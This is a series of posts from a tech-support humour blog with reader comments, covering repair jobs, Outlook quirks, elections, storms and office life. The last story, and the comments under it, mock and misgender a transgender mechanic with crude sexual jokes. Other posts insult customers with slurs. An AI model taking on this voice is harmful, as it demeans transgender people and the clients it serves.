They don't; that was tongue-in-cheek because I can't figure out why they have so many problems. -RiffRaff
One of the truly great things about Linux is the availability of Live CDs. I've gotten a few people to come over to Linux thanks to the ability to boot into Ubuntu (or Fedora or Knoppix) from a Live CD so they can give it a test run on their machine without affecting the regular system at all. The other thing I find brilliant is how easy it is to resize the Windows partition, then install Linux so that the machine dual-boots into Windows or Linux. Good luck with this one, Riff. -SalParadise
you might want to check out Linuxmint too... nice distro there -duckhead
Do you realize how much karma you'll spread by turning all of your rehab projects into *BUNTU boxes? -billybien
Khaaaaaaan! -Biosynthetic
I'll echo Duckhead on the Linux Mint thingy. 99% of the codecs a user (or fishy) could want, ready to go. -32KofRAM
Dodgy electric wiring? -Geminii
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79.
Election Day (NT/OT)
Just a reminder to my fellow Americans to get out and vote tomorrow. I don't care who you vote for; just vote. Exercise a right that a lot of people have shed sweat, blood, tears, and lives to defend; a right that not everyone in the world enjoys.
Remember:
1: If you don't vote, you can't complain
2: If you're not part of the solution, you're part of the problem
Yes, I know those are trite cliches, but you get the idea.
That's all. We now return you to your regularly scheduled Tech Support Comedy stories. Thank you.
[By: RiffRaff]
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I'm voting for you. -burrkiss
Thank christ it will be over soon! -starfishmagnet
Join the Mobile Infantry and save the Galaxy. Service guarantees citizenship -NoneProvided
Win or lose, at least on Wednesday I can celebrate the (sadly temporary) end of political ads...now if only we could get some of those medical ads off the air, TV might be worth watching again. -SillyGirl
If you're not in a swing state, be very glad. We're getting 6 or 8 robocalls every evening, plus people at the door and endless streams of pamphlets. -Fuji
Fingers crossed for you guys in the US. I know which one I want to get in... -CommanderData
Can't vote (not in US), but no matter who wins it'll be an improvement. -Evan
I look at it: If you don't vote then STFU about the government. My wife and I always vote and for the last few years we've done mail in ballots. I was listening to the radio and some places let you vote early...starting in October if you just to to the courthouse with ID. I found out work allows 2 hours either before or after your shift to vote tomorrow. Since I start at 7am I'm putting in to leave at 2pm to vote. -Starfury
American, please remember this; who you vote for hasd wider implications than your own borders...specifically the ones that get crossed during yet another invasion - comprende? -lineswine
E "LEC" tion day? I thought it was eRECtion day! ... uh oh... I shouldn't have taken those 10 viagra pills... -TheGhost
<George>Alot of people say that if you don't vote, you have no right to complain. Bullshit. I say that if you vote, and elect some corrupt person, and they get into office and fuck things up even more. Then you have no right to complain because you got what you wanted. I, however, who did not vote, who did not even leave the house on election day, have every right to complain about the mess that you created , and that I had nothing to do with</George> -Spyder19
A vote for Nobama means take half your cash, give it to a lowlife who wont fucking work. I believe in a hand up, not a god damn hand OUT. -randyskier
Sorry, I should have stated in the OP that this is a *non-partisan* post, intended to get people out to vote, not put down the candidate of their choice. Keep the flamebait out of my post, and put it in the Break Room where it belongs, please. -RiffRaff
Sorry RiffRaff. If they can't be arsed to remember the election day, I don't want them voting. The problem we've had in the US is too many ignorant people voting on a single issue on what they hear on a commercial. 'Get out the vote' campaigns make things worse, not better. -scooby111
Scoob, on the surface, yes, telling someone to go pull a random lever is no different than sending in a first-grader to vote. But I think most people are capable of knowing what single issue is most important to them, and voting accordingly. If I ask someone why they didn't vote, and they respond "I didn't feel educated enough on the issues," I'd give them credit for being honest and acknowledge that they probably did the right thing. What I hate is the "My vote doesn't make a difference" bullshit, which I think the "Get out and vote" campaigns can help overcome. Just MHO; your mileage may vary. :~} -RiffRaff
I'm afraid of Americans. And I am one. -Seamus
The "My vote does not matter" or at least the "My vote doesn't matter as much as the person in Florida or Ohio" problem is real, brought about by our election system. Did you know that in 2004, 66% of all the money raised by both presidential candidates was spent in only 5 states? And 99% in a total of 16 states. But it can be fixed, and even without an amendment to the constitution. http://www.nationalpopularvote.com/ -SirJosh
I agree that it seems like only a handful of states vote for the president and the rest of us don't count. It may not be true (or heck, it might really be true) but I know that's definitely what it feels like (especially come election day) -SillyGirl
TinyTribble (1st Grade) voted on the computers at school in a mock election... she voted Libertarian! (*SNIFF!*) Brings a tear to my eye. You know? -ShujinTribble
My three all voted Libertarian in their school's mock elections too....there is hope for the future....or at least kids who start to think more on their own, rather than what's needed to pass a test... -FormerSithLord
I'm in the UK - So my virtual vote is for RiffRaff.... -Wonko The Sane
Make your MP (Member of Parliament) work - don't re-elect them... -Wonko The Sane
It does not matter who you vote for - the Government still gets in... -Wonko The Sane
I'm planning to vote. I was told point blank by someone that if I don't vote for either of the 2 popular ones, I'm throwing my vote away. *shrugs* I don't see it as such, though- at least I'm standing up and doing something about what I think, right? So... In addition to what's already been said, please also remember that there are _4_ other candidates running. They may not be the most popular, but even so, there are still choices. -taieena
Short get out the vote clip: http://www.youtube.com/watch?v=AbBq29qGxaA -Starfury
Dear all of those who don't vote but still complain, you were given a chance to speak up and choose who you want from the available choices and you decided not to, you've already made your decision so zip it. For those who complain about the person they voted for: you made a mistake it happens but remember this next time you vote and make a more informed decision. -Icelator
I look at voting this way. I am going to voter for who I think will do the best job. Currently I find no candidates worthy of the job, so I may not vote. I believe that by me not voting shows how strongly I believe in the system . I feel that even though we are encouraged to vote we do not have to. I further believe that I will not vote for someone I feel that i cannot trust. I am not nor have I ever been a sheep that will vote for A or B because that is all we hear about. I could do a write in but would it matter in the small picture yes I can complain and say I did not vote for the new president but I know in the larger picture I vote for me wil not change the way milliions of Americans will vote. I want what is right for America not the lesser of the few evils. </my two cents> -raneshem
sorry for the bad grammar and spelling on the previous comment. -raneshem
Riff, whose your VP candidate? Alfred E Neuman? -Wraith556
Wraith: Isn't RiffRaff partied up with Lewis Black? -unrenowned
John Stewart, although I'm not sure my staff has informed him of this yet. *eg* -RiffRaff
Riff - I think Magenta might be a little peeved of your "staff" were talking to anyone else. No? -ShujinTribble
I hve my jet fueled ready to escape to London if Nobama wins, wish me luck. -randyskier
So basically you're saying you'd rather have an uninformed vote than a blank? I'm able to vote in my own country (not USA), but I don't, because if I do it won't be based on a thorough investigation of which candidate would be the best choice for me. Also, why wouldn't I be able to complain? What about the people who realized Bush isn't all he's cracked up to be after voting for him? They lose their Complaint Points after voting for that guy? The optimal situation would be where everybody researches the candidates fully before casting the vote, but you have to realize that this isn't eligible at all. So what would you rather? A guy voting for a horrible candidate because he has a nice, soothing voice, or a guy not voting? Also: whom you vote for, not who. -Mikoangelo
randyskier - If you make enough money to have your own jet, I can understand you voting for McSame. But why are you bothering to post to TSC? -Divinar
When I went in to vote for President in 2004, I felt like I was choosing between the gas chamber and lethal injection. I said that to my wife once and she replied, "Sometimes I think it's intentional." You want to know what's depressing though? According to a commercial I saw, only 55.3% of registered voters actually voted in 2004. I could see if it was a non-Presidential year, but '04? That means 44.7% of registered to vote Americans woke up on Election Day '04, looked at the calendar, took a deep breath, and then said "Ah, f*ck it." -TheJman
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80.
If You Don't Like My Rates, Fuck Off
Repeat customer with a POS K6 Win2K system drops off her computer wanting me to make sure it meets the system requirements for a college class (it doesn't). Also wants me to uninstall some software (like GoToMeeting) because her "memory is full up and it's slow." Oh, and it has to be ready by tomorrow so she can work on her class assignment. Then she wants to know how much it will be.
I quote her $35 to $50, figuring it will take me an hour to an hour and a half. (I've recently started to enforce my own rates, even to my low income customers, because $35/hour is still half what they'll pay any shop.)
Her response? "Hmmm...." - silent pause - "Hmmmmmm..." - silent pause -
I say nothing, because her attitude has immediately just sent my give-o-shit meter into negative readings. Finally she says, "Well, I'll have the money when I come to pick it up." Damn straight you will, bitch.
And, of course, what do I find when I get into the system? First bad sign: Add/Remove Programs is nowhere to be found in the Control Panel. I try to launch it manually, but get an error message. Run the usual scans, and her system is full of spyware, approaching the 500 mark. SpyBot chokes on a bunch of "access violation errors," but still manages to remove all but 11 of the beasties.
Client has 512 MB RAM installed in the system, but only half of it is registering. It's old PC100 memory. Normally I would have swapped in some additional memory from my dwindling supply of old memory modules and charged $5 to $10, but fuck that. One of the cooling fans needs replaced, too.
The system still boots, much faster than it did, of course, and that's all she's getting. I'll be giving her an invoice for $35, along with a copy of my Rates & Fees, and instructions that her computer needs more in the way of service than what it's worth, and she should start looking for a newer system.
This is about the third repeat, low-income client that has tried to take advantage of my tendency to cut them breaks, so I'm done. My rates are my rates; I don't care how poor you are. If you can't afford a $50 computer repair, maybe you shouldn't purchased that piece of shit Pentium I running Windows 98 on 64 MB RAM in the first place.
Reality check: Take your fucking computer into any computer store in the state, and they'll charge your ass $70 just to put it on their bench and tell you it's a piece of shit that needs $150 worth of repairs. Then come crawling back to me with that newly adjusted attitude of yours.
Fucking ingrates.
[By: RiffRaff]
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Heh--and she was so sweet with me when she dropped her computer off... -vacuumtubes
Kindness is always mistaken for weakness. It seems that no matter how little you charge or how much work you do for people they will always be ungrateful and think you owe them more. Dam I hate humans! -Crai
Yeah! RiffRaff for President! Yeah! <grin> -SoldierJedi
here here!! ::Raises a glass in toast:: Fuckemall. -RA
I love work, its the customers that suck. They are the enemy, charge accordingly -Bloke
There is the inverse rule too- the bigger the break you give them-the more they whine when it doesn't run like a quad core something with 2/3 gb of ram. -jerrybear
My neighbor across the street told me he got a repair bill for over $400 from the local PC repair shop for an onsite visit by a tech who was brand new. Took him over three hours (billed at $90/hr) to diagnose and repair what I believe was a simple printer problem. They got dropped as their IT services provider and I got a couple jobs from them along with free tax preparation, which is what my neighbor did. -cecil36
See, that's the other thing I do. If it takes me 2 hours to fix a system because I got stupid and it took me an hour of bumbling around to find the problem, I charge them the actual repair time, not the whole two hours. Ungrateful bastards. -RiffRaff
So, RiffRaff, how do you really feel about them? -MisterCommon
Reminds me of the user I was installing RoadRunner for and then tells me that his computer didn't appear any faster. Retardicus Maximus honestly believed that having a faster internet connection would make his computer faster. Wouldn't tell me where he heard that one. Had to come back an hour later and unintall it, muttering to me about bait and switch. Note to self: never wrap Cat-5 cable around both hands with a strip in between with a crazed look in my eye. -Biosynthetic
Do you take food stamps? -exzyle2k
She's another in the long line of cluetards that needs to FOADIAFS. -Seamus
Seamus - does that mean - F$%k off and die in a fire sale? [Do I bother running?] -ApolloSZ
The 'S' is for Screaming. :evil grin: -Seamus
I thought would have been - Fuck off and Die in a Fire Soon! -iamscoop
I've found here in CA (SF Bay Area) that if you let people know you CHARGE to fix their computers they'll freak out. For some reason they'll pay Best Buy/Circuit City for service but not the 'computer guy' who'll do better work. -Starfury
$250, cash, in advance, with a 48-hour turnaround. No guarantees. :) -Geminii
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81.
You Went To WHAT Website???
Cut and past of IM conversation I just had with one of my users:
User: Yo
Me: yo
User: I just gotta make you aware of something in case you find a weird website in my history.
User: I went to google, then image, then typed in Gizmo. found the thumbnail I liked, clicked it, clicked view full size image, and it took me to gaypatriot.com
User: I am neither gay nor patriotic.
Me: ROFLMAO
[By: RiffRaff]
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Don;t visit that website after midnight. -ShujinTribble
And NEVER agree to play "Hide the SCUD"!!! -ActingUpAgain
Yeahhhh. But TIVO knows better..... -Biosynthetic
*cough* minuteman *cough* -burrkiss
ROFL! oh man. you kill me. -putahtek
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82.
I Haven't Lost My Touch
Ahhhh, I miss the old days, when Drop Net customers would call me on the phone, asking why they couldn't connect, then arguing with my diagnosis. Really, I thought my new digs would cause me to go soft. But I can apparently still deliver a LART to an argumentative starfish over the phone without saying a word.
Case in point:
*Phone rings*
EU: Riff?
ME: Yes?
EU: My Outlook is no longer sending attached files as a separate icon at the bottom of the message; it's putting them in the message itself. Have you made any changes to my system?
ME: No, but it is a Microsoft product.
EU: Huh?
ME: Nevermind. Let me look at your maintenance record.
*Check log and Google problem*
ME: Well, we made a change to your Outlook a couple of weeks ago when you were having problems sending a message in HTML format. Looks like your current problem is related to the change we made. So, let's go in and change it back.
EU: Why would changing the format mess with the attachment?
ME: Got me. It is a Microsoft product.
EU: Yeah, well, I'm afraid I'm going to have to doubt you on this.
ME: *chilling silence*
.
..
...
....
EU: Um, okay, I've changed it back. I'll call you back if it doesn't work.
ME: You do that. *click*
Haven't heard a peep since.
In other news, changing Outlook's mail format from HTML to RTF will cause it to send files inline instead of as attachments? WTF???
[By: RiffRaff]
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As you said, it is a Micro$haft product. And the number of arguments I've had with sub-moronic clients (ie: not even a full moron) because they believe that M$ is the paragon of software design, stability, and reliability. -Wraith556
I know what it's doing, but it's still a stupid implementation. -Seamus
EU: Yeah, well, I'm afraid I'm going to have to doubt you on this....
I heard Bill Lumberg. Do you work with Lumberg? -srteach
My sympathies, Riff. Outlook has been doing (or screwing) this for years. It was my first ever Outlook support problem and it's still burned indelibly in my memory. I fucking HATE Outlook. -Gromit
heh I just had one similar. Customer: "My laptop won't charge, but it worked fine when I brought it to you." Me: *Stares* Customer: "umm... I'll see if I can figure it out" *leaves* -LazyLemming
I had to help my mom with this. To make it more interesting, I use Thunderbird which shows them both inline and as attachments no matter how she sends them, so I was pretty much flying blind. -thx1138
It is an attachment still, it's just embedded in a different place. That's because RTF is the basis for Word documents, and you can embed anywhere in a Word document. HTML and Plain Text, however, don't embed the same way. Therefore, attachments are always separate from the contents of the email. -ManyHats
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83.
The Dark Side of Freeware
I have just realized the double-edge sword of introducing executive-types to the concept that you don't necessarily have to pay for software in order for it to meet your needs.
Now I'm starting to get, "Riff, we need free software to {perform-highly-specialized-task}. Go find it."
*whimper*
[By: RiffRaff]
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http://tinyurl.com/z7skj -Seamus
Riff you are a victim of your own success i know cos i too suffer with it, and Seamus thats a damn handy link bookmarked for future use thanks! -starfishmagnet
Agreed. Bookmarked for future reference with much thanks. -RiffRaff
Translation: Riff, thank you for pulling that sofa out of your ass. Now I need you to pull out a matching loveseat and ottoman. Tuesday, I'll need a home entertainment center.... -vacuumtubes
You're welcome, guys. I've got that tinyurl embedded in my brainwaves. It's floating somewhere between the ignition point of paper, and "what do you get if you multiply 6 x 9?" -Seamus
No good deed goes unpunished. If you look this up online your picture is there as an example to others. -Starfury
The owner of this craphole hasn't asked about the Ubuntu partition on the bench box, I see no real need to try to educate him unless he wants to know. -Dreamstalker
Fortunately (??) our company, $We_Make_Airplanes has a stated policy that software cannot be downloaded and installed on company machines. This includes but is not limited to: BIOS updates, driver updates, software updates, open source software and anything else. Now, you can imagine the problems this might cause when you need version X.YY of a package, but the only approved one is two revisions earlier. -VoiceOfSanity
There is also the site http://www.100-downloads.com/ that has a lot of helpful free stuff. -Gunpe
Cool, hadn't known about that one. -Dreamstalker
Free software is often worth what you paid for it. I usually answer that it either doesn't exist or we will need to hire a programmer to implement it in our complex environment. -scooby111
three words...Synaptic-Package-Manager! -billybien
Open Source Alternative - http://www.osalt.com/ (not necessarily free) -AussieFoot
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84.
Cry Me A Frakkin' River
Peyton Place is a seasonal business, and the winter months are the slowest for us. Word came down this afternoon that, effective immediately, there is to be no overtime without prior written approval. This doesn't really affect me that much since I've always been on a 40-hour work week here, but a lot of people have gotten used to the "mandatory 45-hour minimum" that's been in place since our busy season.
I swear, you'd think Peyton Place just announced that all employees had to forfeit their first-born to the company. Let me get this straight: The economy is in the toilet, housing foreclosures are at an all-time high, the stock market just fell 1000 points in 48 hours, you have a full-time job with benefits, and you're threatening to quit because you're no longer allowed to work over 40 hours a week????
0.o
Some people don't know when they've got it good.
[By: RiffRaff]
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some people dont know when they have it good. -rhiannon
I agree w/ ya rember our talk at the bbq. -HairTech
It depends on the nature of the overtime. If it is additional paid overtime, I can understand the complaints. They are using the overtime to boost their salaries. If it is compensated overtime, ie: time-off-in-lieu, this can be used to have a flex-day for work/home balance. Then there is $hitty programming limited's mandatory uncompensated, or disciplinary, overtime, where you don't get extra salary or time off, and the only "reward" is to have the number of hours increased. -Wraith556
LOL. Our company did that too. Unless it's in an emergency. Of course, since it was implemented, I've averaged 20 hours of OT each month. It helps that my coworker quit and they never replaced him. -scooby111
Amen, brother. It's been a good run, but due to workload (or more accurately, lack thereof), we've been taking a lot of hits lately. This was the first paycheck in a month with 40 hours on it, and the week ending tomorrow's well short too. Looks to we'll all be needing new jobs b4 Thanksgiving, yarrrrrrrrrr.... -MadJack
Try doing 25+ hours of disciplinary overtime a WEEK, for over 2 years. And the @$$hats managers, and the one who imposed it in particular, wondered why my morale was rock bottom, health was suffering, permanently exhausted, bouts of depression, and withdrawn from company activities (which I was banned by name under instant dismissal threat). Add that my leave was revoked, and lunch break was 15 minutes maximum (shortened if the manager walked in, canceled if she was already present). And all this on her perception that I made NO contributions to company revenue and was personally responsible for being the reason why the company was making losses at the time. "Until Moral Improves, the Beatings WILL continue". -Wraith556
Wish our company would enforce 40 hour weeks. Alternate 45/49 hours as normal hours & fixed salary so no overtime pay what so ever, even if you work extra hours. -PID1
Indeed. They cut me down to 36 until we're profitable again. -thx1138
When I'm in the Regional Office, it's a 40-hour week. When I'm out on deployment, it goes to 84-hour weeks (or more). No "time in lieu", but overtime pay (which is capped, so it's not even close to time-and-a-half). -Grue
No overtime is better than mandatory unpaid overtime. -Geminii
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85.
Ike in Indy
The remnants of Hurricane Ike, now classified as an "extratropical depression," blew through Central Indiana this afternoon with 60 mph wind gusts and some heavy rain. I'm posting through my cell connection using the power inverter in our van since we lost power about three hours ago. An Indy Public Works worker I talked to while directing traffic at a major intersection near our house indicated it was very widespread, and it would probably be down for a while.
Ike is supposed to strengthen into an extratropical storm as it hits southeastern Canada tomorrow and Tuesday before it finally heads out into the North Atlantic.
I have a feeling this will be one for the record books.
Will post later when power returns.
[By: RiffRaff]
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Here in Columbus, OH we're getting much the same.... over 100,000 w/o power... many trees down... we've got minor roof damage. -VWFtech
O.0 ... Okay - Everybody get ready for a saturation Karmastrike, followed by a secondary barrage. Fire for effect. -Seamus
Okay, power's back on, at least for us. No house damage, but plenty of branches down all over the place. Sounds like Chicago got the worst of the brunt; Ike just sideswiped Indy. -RiffRaff
What do you know...it's heading right for me... -RandalGraves
(*WAVIES!*) Been nice knowin' you guys.... I'll post next from back on Long Island... when my freekin' house finally runs aground! -ShujinTribble
I know how yall feel, Ike roared over Shreveport, La and had me chasing down my skirting to my house... that was fun! -NerfHerder
Just make sure your banjo doesn't get wet, OK? -lineswine
Now you know why I live on the left coast. We don't have any weather here. 75 ans sunny today. Before anyone says anything I have lived in 11 states and they all had bad weather except here. -atomicbill
Atomicbill - you may have good weather, but you also have a wee thing called "The San Andreas fault" in your locale. 'nuff said? -lineswine
lineswine - So? He'll live in Otisburgh is all. -ShujinTribble
Glad things aren't worse, guy. -MadJack
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86.
Erase Disk Partition Re-install Doo-Dah
Well, my project for the rest of today and probably most of tomorrow morning is to completely erase all company data from six old eMac G4 700 MHz systems, (archiving data when necessary), reinstalling a base OS, and prepping them for sale on E-Bay.
Two of them so far have failed CD-ROM drives, so I can't reinstall the OS very efficiently. I'm just wiping them via Firewire and then selling them as is with no OS. Working on the fourth one right now, with two more on deck.
These things weigh over 50 pounds each, and they were all stored in the "attic," also known as "Riff's Graveyard for Dead or Aging Technological Devices." I bribed the forklift driver into hauling them down for me.
We had seven at one point, but I trashed one while trying to replace the CD-ROM drive. These things were simply not designed to be taken apart by mere mortals. They were very faithful workhorses, but I'll be glad to see them go.
Now I have the oldest Mac in the company, an iMac G4 1GHz system. Whee!
[By: RiffRaff]
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Heh, tell me about it. Last week I had to replace the cmos battery inside a G5 mounted inside a metal cage mounted inside a NYSDOT van for a Mandli Lidar device that had velcro all over it covering the seams which I had to cut first with an Exacto knife before I could even get the friggen cover off it. It took 3 friggen hours and 7 yoga positions -Spyder19
DATD, that's a lousy acronym. It doesn't roll of the tongue at all. -Stryker One
off -Stryker One
Riff - You could make a legal copy of the OS with them, with a note "CD ROM failed, have fun." -ralphp1024
Too much work. Just going to sell them As-Is and let it become someone else's headache. -RiffRaff
I bought a camshell CD holder this weekend and found it had a unused copy of Microsoft Works 2001 (for a Mac). Cost - same as an empty clamshell -$ .99 -TieDyedDinosaur
Ugh. I helped a Mac Expert take apart my eMac to replace the logic board (twice, actually), as I was one of the lucky ones whose logic boards had frozen-Coke syndrome. Those things are NOT meant to be taken apart. At all. -Seamyst
Oh... I tried singing the title of your post and proved that I'm brain-dead today by saying, "Erase dick parti... fuck." -Seamyst
Remember the original Macs had to be broken open with a special tool. So this is a legacy of the original Mac. -Wraith556
the G4 laptops that came out after that were more advanced--they broke themselves inside. -stiffarm
I feel your frustration. I've been attempting to make one working imac G3 out of two deadish ones. I've lose screws, shredded fingers, and broken little annoying plastic tabs. You should have bribed the forklift driver into dropping them for you :) -smellystudent
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87.
Stone Knives & Bear Skins
WHO THE FRAKKIN' HELL RUNS A GODDAMN FUCKING CORPORATE CONNECTION ON 128k ISDL??????????????????
Jesus h fucking christ in a chariot-driven sidecar. I could use carrier pigeons and transmit information faster than this.
1 person VPN'd in from Peyton Place 2 to Peyton Place 1, Peyton Place 2 Backup Server running updates, and that's ALL I CAN FUCKING DO. I can't VPN out. I can't run updates on a second machine. I can barely pull up websites.
Fucking cheap-ass bastards. Pay for a 20th century connection already so I don't have to spend an entire day sitting on my ass waiting for updates to download.
FUCK.
[By: RiffRaff]
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Is that cheaper than the 21st century connection? -evolvedstarfish
Hell, I live in the middle of farm country and can get 768k. -PsychoKittyB
But... but... I thought 128 K ought to be enough for anybody... or something like that... :p <uploads himself to the LART shelter... hopefully faster than that..> -TheGhost
explain http://www.ietf.org/rfc/rfc1149.txt and http://www.ietf.org/rfc/rfc2549.txt to them
-McSmiley
My home connection is faster than that, and I just use it for Star Wars Battlefront 2. -thx1138
Jeez, even DSL is cheaper than ISDN, and what 3 to 6 times the speed? -CyBear
I feel your pain, 512K at work, 8+M at home. -Stryker One
RiffRaff - aren't you paid BY THE HOUR? -Divinar
Speaking of pigeons, riff, here you go - http://www.faqs.org/rfcs/rfc1149.html -PCRaevyn
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88.
Indianapolis Will Never Be The Same
Well, not only is the Midwest TSC BBQ coming to town August 30th, there is a Fark party scheduled for the same day, and Drew will be in town for it.
Can one Midwestern town handle two major geek website parties on the same weekend?
Wow.
[By: RiffRaff]
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just wait until 4chan.org hears about it on facebook. -Ratfor
Drew who? I'm thinking Carey, but I'm willing to bet I'm wrong. -Chipsterian
Drew Curtis, the guy who created Fark.com. -BayouTech
And GenCon was there last week, too. -Frazzled
riffy, the bbq MUST side trip to the fark party... MUST. -HappyCrappy
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89.
Low Friends In High Places
First annual physical in five years on new health insurance: $0
Referral to endoscopy specialist due to family colon cancer history: $0
Colonoscopy to pre-screen for colon cancer and confirm IBS diagnosis by family physician: $0
Having co-workers wearing brown shirts to welcome you back to work the next day: Priceless.
There are some things money can't buy, including friends with a twisted sense of humor.
[By: RiffRaff]
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I just read this aloud in a echoing room of co-workers. The laughter is ongoing.... -Grue
What can Brown do for you??? -VWFtech
I've had one of those...the prep was horrible...but I did lose 5lb during that time. I didn't get a special "welcome back" like you did though. -Starfury
Thanks for reminding me, I need to schedule mine. Dad had surgery in march to remove cancer from his intestines... -JoeLugian
you gotta read this - http://www.miamiherald.com/548/story/427603.html -figglywig
Colonoscopy - the medical term for looking up an old friend at the weekend. -Gromit
Agreed, the prep made me, to quote hubby, "give back stuff I never stole..." -TechieSidhe
"Captian! Over here! I've found something! Ahhhhhhhhhh!" -- Oh wait, that was a red shirt... But it seems strangely fitting. -scooby111
"Ahab! Fetch mah brown pants!!!" (/obligatory) -MadJack
Whaaaahooooo...... {thank you nurse} -AngrySup
Telling a world full of preverted geeks, you got drugged and had something rammed up your a$$. Totally priceless. -burrkiss
I had 7 pre-cancerous polyps and was told, You get to come back in 1 year and do it all over again. -MSimmons777
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90.
All Your Upgrades Are Belong To Us
So, with $Owner and $CFO on vacation all this past week, it seemed like the perfect time to experiment with switching our LinkSys WRT routers (which I have serving as WAPs only) over to DD-WRT. Since we have two, I knew I could take each one offline separately and have minimal impact on my users.
After some trial and error, both routers are humming along fine with their new firmware. However, during the trial and error phase on the first one, I had apparently downloaded the wrong file, and got an error during the upgrade attempt. This wouldn't normally be post-worthy, except for the actual error I received, which I post for you now in all it's screenshot glory: http://www.wizardslab.net/~riffraff/pictures/UpgradeFail.jpg
Let the "FAIL" photoshopping begin!
[By: RiffRaff]
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Please be doing the needful! -formatCdrive
I've seen that before somewhere. I know that I am used of it. -Gerund
Heck -- just post that to Failblog as is. -chazz
This error brought to you by Invasion Of The Gabber Robots. -Seamus
I can has upgrade? NO! Upgrade are failed! -OgdenTechGuy
"Upgrade are failed. Do not use for the other use." -Captain Trips
Riff - I have an explanation for the error msg: DD-WRT was originally developed mainly in Sweden and some of the guys doing the work didn't have very good English. If you translate the error msg back to Swedish word-by-word, it makes very much sense. Nowadays the msg has a cult status (see their FAQ). -NordicPT
lols... what the. I believe that was translated incorrectly. The subroutines on linksys routers I knew do not have those. -kennz
Sad part is after seeing that pic, I swear that I clicked on the red x in the pic to get it to close at least 3 times. -Darkridr
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91.
Best Online Community
Sometimes, belonging to a group of people the likes of which haunt TSC has fringe benefits beyond measurement. Most of you remember my post about my van being struck by lightning while out storm spotting, and losing my laptop to the power surge. It was a laptop dedicated to storm spotting, so there was no critical data on it. Nevertheless, our ability to receive live radar and other weather-related data in the field was gone until such time as I located a replacement system.
Gunpe contacted me by e-mail, offering one of several models of spare laptops he apparently had sitting around gathering dust. He declined compensation - (although he's going to get some anyway) - and come Friday afternoon I had a rather large package sitting on my front porch, containing the exact same model laptop as the one that got fried by the lightning strike, plus loads of accessories, including a docking station. I am now back up and running, even better than I was before, thanks to a better graphics card and additional memory.
It seems I have been on the receiving end of a lot of generosity from the people on this site of late. Kinda takes the edge off the daily stupidity of dealing with homo sapiens knowing the support network that exists on this site.
So, a public thank you to Gunpe for such a generous offer, and a more general tip o' the hat to the people of TSC for being the kind of people you are. I'm proud to be a part of this group.
[By: RiffRaff]
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Way to go, GunPe! And congrats to you, Riff. TSC rocks. Hard. -Tekkie
hey riff...thats why so many of us call TSC home. -gashach
The people on TSC are awesome! -CathyV
Glad you got it OK. Yes, this is why we call TSC home. -Gunpe
I'm still a part of this site because of the support from you, Riff, and everyone else. You can't make an omlette without breaking a few Eggshens (as a reminder). Thanks to the best online or offline community I know. -srteach
This place is full of legends! -starfishmagnet
*nods* -ThinTheHerd
What the fsck do you expect, Riff? We love you, dammit! :D -Seamus
...And I second what everyone else said! -Seamus
Well, considering you're personally making sure Gunpe will be getting some, this IS a great community. ;-) -Calydor
Yes, I love this place.. my fix from the ignorance of the world.. I agree with everyone, Like Riff,I've been apart of this site since 2002... wow what a longtime has passed... Still a great place to be in... Cheers -LowLevelFormat
Uhhmmmm... *reads the accumulated comments* What THEY said! It's right! -Voz
remember, like all drugs, only the first laptop is free. -drachen
*applause* -Grue
/me *PUNCHES* Riff inna arm. "The hell do you THINK we're all doin' here?! Geeze, you're dense sometimes!" (What can I say... I'm sentimental.. in a weird way) -ShujinTribble
I concur... If it wasn't for the laughter, friendship, karma, and great ideas I find here... I'd have gone postal a LONG time ago. You guys and dolls and crazy cats (for those who don't fit any other mold) are family. -TechnoTherapist
Yeah, all the TSC'ers out there help me keep my insanity every day. Thanks everyone, wish we could see more of you here in NZ, and looking forward to the day I can afford to add my star. Let's all be careful out there. -Enzedder
<DA> Hmmmm, shipping costs vs. hazardous waste disposal fee </DA> :) -Stryker One
We are the change we've been waiting for.. in the couch cushions with the legos. Really, I never have regretted getting hooked on this place. When I get my Tshirt I'll wear it proudly in inappropriate situations. -Darkridr
TSC feels like home to me for a reason :) -Ara
Darkridr - I concur with your comment. WHEN I get my t-shirt that is. A month and a half and still waiting. -Grembo
Heh, I've passed on the odd PC/lappyto some TSC folk when I've been able to. You know who you are. (& NO, it isn't the ones we "modify" at the UK TSC BBQs!) -lineswine
Gunpe wants burkisses spot behind you, Riffy. I'm betting on it.
-HappyCrappy
Gunpe wants burkisses spot behind you, Riffy. I'm betting on it.
-HappyCrappy
That spot is MINE DAMMIT!!! -burrkiss
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92.
Scarred For Life - Serious Brain Bleach
DISCLAIMER: This story is not for the timid, meek, faint-of-heart, or religiously conservative. Seriously, you have been warned.
So, about a year ago, our auto mechanic went through a particularly nasty divorce. I can relate to this, of course, and tried to be as sympathetic and supportive as possible. However, that event apparently damaged the poor guy, because he made the decision that he no longer wanted to be a man.
FINAL DISCLAIMER: I repeat the previous warning. If you proceed further, there will be no return from the mental imagery I am about to impose on you here.
Again, trying to be as sympathetic, supportive, and non-judgmental as possible, I continued taking our vehicles to him, even as his hair grew long, dyed blonde, and he began wearing heels to work.
A quick parenthetical aside: I will stick with the male pronoun when referring to the subject of this story, simply because to do otherwise would get confusing. "Tiffany" will correct you very quickly if you refer to him by any male reference.
So anyway, I stopped by yesterday to make an appointment for my van since it's coming up on oil change time. The transformation has continued; he now has no facial hair, and significant breasts. Again, trying to be supportive and non-judgmental, I inquire as to how he's doing, and ask if the breasts are a result of hormone therapy or implants.
"Both," he replies. It seems the hormone therapy took him to a B cup, and he had implants which increased them to a C cup.
LAST WARNING: This is the point of no return.
Then he turns to me, lifts his shirt and bra, completely exposing his new assets, and says, "Whaddya think?"
...
....
.....
I think I am now in need of some serious therapy.
*whimper*
[By: RiffRaff]
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So, what did they feel like? -smellystudent
You know the little bumps round the nipple? They are braille for "suck here". -lineswine
lmao @ Lineswine... I'm so using that tonight at. Riff, I hope you weren't aroused... then it be weird -LowLevelFormat
Pics or it didn't happen. -veaudaux
S/he knows you're married, right? Hope so, s/he might have otherwise been offended you didn't ask him/er out. -illiterate
I bet they tasted salty -TechnoTherapist
first thought was of introducing your mechanic to your "boundary INappropriate" puppy <evil grin> -CTYankee
OMG, RIFF!!! You've got to email the name of the shop so I DON'T go there! -figglywig
GEDDOUDDA HERE! That redneck-sounding mechanic is wanting to become a woman? Only in Hooterville....let me rephrase that..... -vacuumtubes
A friend used to work for FedEx. He delivers a package to this house and there's a beautiful woman in the front yard in a short skirt and low cut top. He hands her the package and in a deep (male) voice is told "Thank you." -Starfury
What has been seen....cannot be unseen. -SwedishChef
Riff RE: the pronoun thing anything without defined gender is always masculine, so say the queens english. my personal opinion is that until he has the op, he is a man. gender is defined by genitalia -Tarantulus
This just in: local auto mechanic is revealed to be none other than Doctor Girlfriend. Film @ 11. -Seamus
